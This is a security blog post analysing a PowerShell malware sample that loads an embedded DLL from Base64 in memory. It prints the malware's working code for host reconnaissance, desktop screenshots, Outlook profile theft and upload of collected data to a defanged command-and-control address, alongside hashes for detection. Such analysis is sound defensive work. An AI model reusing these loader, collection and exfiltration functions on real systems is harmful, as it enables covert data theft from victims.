Threat Level: green Handler on Duty: Bojan Zdrnja

SANS ISC: InfoSec Handlers Diary Blog - Internet Storm Center Diary 2019-09-06 InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

PowerShell Script with a builtin DLL

Published: 2019-09-06
Last Updated: 2019-09-06 05:33:09 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

Attackers are always trying to bypass antivirus detection by using new techniques to obfuscate their code. I recently found a bunch of scripts that encode part of their code in Base64. The code is decoded at execution time and processed via the 'IEX' command:

iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("...Base64-data...")

Another technique used by malware developers is to inject a malicious DLL into a running process. Yes, Powershell can do awesome stuff. Yesterday, I spotted a script that hides its malicious code split in the two techniques. One part of the code is Base64 encode but some functions are directly called from a DLL loaded at run time.

First, the code is uncompressed and decoded, then loaded into the Powershell process:

$Z4GoLn = New-Object IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String("..."), [IO.Compression.CompressionMode]::Decompress)
$joqOfPjY = New-Object byte[](20480)
$Z4GoLn.Read($joqOfPjY, 0, 20480) | Out-Null
[System.Reflection.Assembly]::Load($joqOfPjY) | Out-Null

Once the DLL is loaded, it's now possible to call all functions provided by the library. This is achieved by referencing the custom type and the method ("[custom.type]::method()"):

[QE7K9ZJvi46.QE7K9ZJvi46]::p9Dq()

You can find all the functions in the DLL using your favourite disassembler:

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             void p9Dq-57-8272()
             void              <VOID>         <RETURN>
                             p9Dq-57-8272
        0040205c 28 06           SUB        byte ptr [ESI],AL
        0040205e 00 00           ADD        byte ptr [EAX],AL
        00402060 0a 6f 07        OR         CH,byte ptr [EDI + 0x7]
        00402063 00 00           ADD        byte ptr [EAX],AL
        00402065 0a 0a           OR         CL,byte ptr [EDX]
        00402067 28 08           SUB        byte ptr [EAX],CL
        00402069 00 00           ADD        byte ptr [EAX],AL
        0040206b 0a 6f 09        OR         CH,byte ptr [EDI + 0x9]
        0040206e 00 00           ADD        byte ptr [EAX],AL
        00402070 0a 6f 0a        OR         CH,byte ptr [EDI + 0xa]
        00402073 00 00           ADD        byte ptr [EAX],AL
        00402075 0a 17           OR         DL,byte ptr [EDI]
        00402077 8d 0e           LEA        ECX,[ESI]
        00402079 00 00           ADD        byte ptr [EAX],AL
        0040207b 01 13           ADD        dword ptr [EBX],EDX
        0040207d 04 11           ADD        AL,0x11
        0040207f 04 16           ADD        AL,0x16
        00402081 1f              POP        DS
        00402082 2d 9d 11        SUB        EAX,0x6f04119d
                 04 6f
        00402087 0b 00           OR         EAX,dword ptr [EAX]

What does the malware do? First, it collects information about the infected host:

function kvhLZVVHv40()
{
    if ((((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN))
    {
        $HmHCMAj1gp = "DOMAIN: NO`n`n"
    } else { $HmHCMAj1gp = "DOMAIN: YES`n`n"}
    $HmHCMAj1gp += "SYSTEMINFO:`n`n" + ((systeminfo) -join "`n")
    $HmHCMAj1gp += "`n`nIPCONFIG:`n`n" + ((ipconfig /all) -join "`n")
    $HmHCMAj1gp += "`n`nNETSTAT:`n`n" + ((netstat -f) -join "`n")
    $HmHCMAj1gp += "`n`nNETVIEW:`n`n" + ((net view) -join "`n")
    $HmHCMAj1gp += "`n`nTASKLIST:`n`n" + ((tasklist) -join "`n")
    $HmHCMAj1gp += "`n`nWHOAMI:`n`n" + ((whoami) -join "`n")
    $HmHCMAj1gp += "`n`nUSERNAME:`n`n" + ((net user $env:username /domain) -join "`n")
    $HmHCMAj1gp += "`n`nDOMAIN ADMINS:`n`n" + ((net group "domain admins" /domain ) -join "`n")
    $HmHCMAj1gp += "`n`nDESKTOP:`n`n" + (Get-ChildItem ([environment]::getfolderpath("desktop")) | Out-String)
    $HmHCMAj1gp += "`n`nAV:`n`n" + (Get-WmiObject -Namespace "root\SecurityCenter2" -Query "SELECT * FROM AntiVirusProduct").displayName
    $V6VCS = [System.Text.Encoding]::UTF8.GetBytes($HmHCMAj1gp)
    PMQty 0 $V6VCS
}

Collected data are sent to a C2:

function PMQty([int]$Wg94, [byte[]]$V6VCS)
{
    $sdo7g = "https://$F36ui/" + [QE7K9ZJvi46.QE7K9ZJvi46]::EA2gkql9ya($Wg94, 0, $true)
    $hwv80v = [QE7K9ZJvi46.QE7K9ZJvi46]::BPizrD($V6VCS)
    (New-Object System.Net.WebClient).UploadData($sdo7g, $hwv80v)
}

The C2 is contacted via a Base64-encoded IP address and the DLL function EA2gkql9ya() generates random URI like:

hxxps://23[.]227[.]193[.]48/ddqxyg/g1/cbahpbp1y/im/g/asg/3izld2/2s5kq5xexs4h5mwc/xr51fqv2p/4zm/e.jpg

Using the same technique, the malware exfiltrates the content of the following registry keys (related to different versions of Outlook):

  • hkcu:\Software\Microsoft\Office\16.0\Outlook\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*
  • hkcu:\Software\Microsoft\Office\15.0\Outlook\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*
  • hkcu:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\*

What could be also interesting? A screen capture of the desktop! Here is the function which performs the screenshot:

function cY0yMOo7U3()
{
    Add-Type -Assembly System.Windows.Forms
    $Ze8Fpb5KC = [Windows.Forms.SystemInformation]::VirtualScreen
    $Rpmv5HB = New-Object Drawing.Bitmap $Ze8Fpb5KC.Width, $Ze8Fpb5KC.Height
    $ntkkayAduow = [Drawing.Graphics]::FromImage($Rpmv5HB)
    $ntkkayAduow.CopyFromScreen($Ze8Fpb5KC.Location, [Drawing.Point]::Empty, $Ze8Fpb5KC.Size)
    $ntkkayAduow.Dispose()
    $UkzcuaUqgj = New-Object System.IO.MemoryStream
    $noFMcdA6cKj=40
    $hwv80voderParams = New-Object System.Drawing.Imaging.EncoderParameters
    $hwv80voderParams.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, $noFMcdA6cKj)
    $OmDwFp = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.FormatDescription -eq "JPEG" }
    $Rpmv5HB.save($UkzcuaUqgj, $OmDwFp, $hwv80voderParams)
    $Rpmv5HB.Dispose()
    $V6VCS = [convert]::ToBase64String($UkzcuaUqgj.ToArray())
    $V6VCS = [System.Text.Encoding]::ASCII.GetBytes($V6VCS)
    PMQty 2 $V6VCS
}

Once initial data have been exfiltrated, the malware enters a loop. It queries the C2 at random interval:

Start-Sleep -s (Get-Random -Input @(200..260))

Depending on the C2 answer, the malware performs the following tasks:

  • Execute the provided PowerShell code and send results back (remote code execution)
  • Dump a DLL on disk with a random name
  • Dump a PE on disk with a random name and executes it

Unfortunately, the C2 is down at the moment, so I can't grab the DLL/PE files.

The script (SHA256:9d315c1ba1d6a10c06fe0b7d12a31ec519b973403ccf01fb36584ce9750e1d6b) has a very low VT score (3/57)[1].
The DLL (SHA256:18580a1789d26c123f3c41fe23f2085de7650a177fdb2623704b748de4403bf3) has a score of 6/71[2].

[1] https://www.virustotal.com/gui/file/9d315c1ba1d6a10c06fe0b7d12a31ec519b973403ccf01fb36584ce9750e1d6b/detection
[2] https://www.virustotal.com/gui/file/18580a1789d26c123f3c41fe23f2085de7650a177fdb2623704b748de4403bf3/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
Diary Archives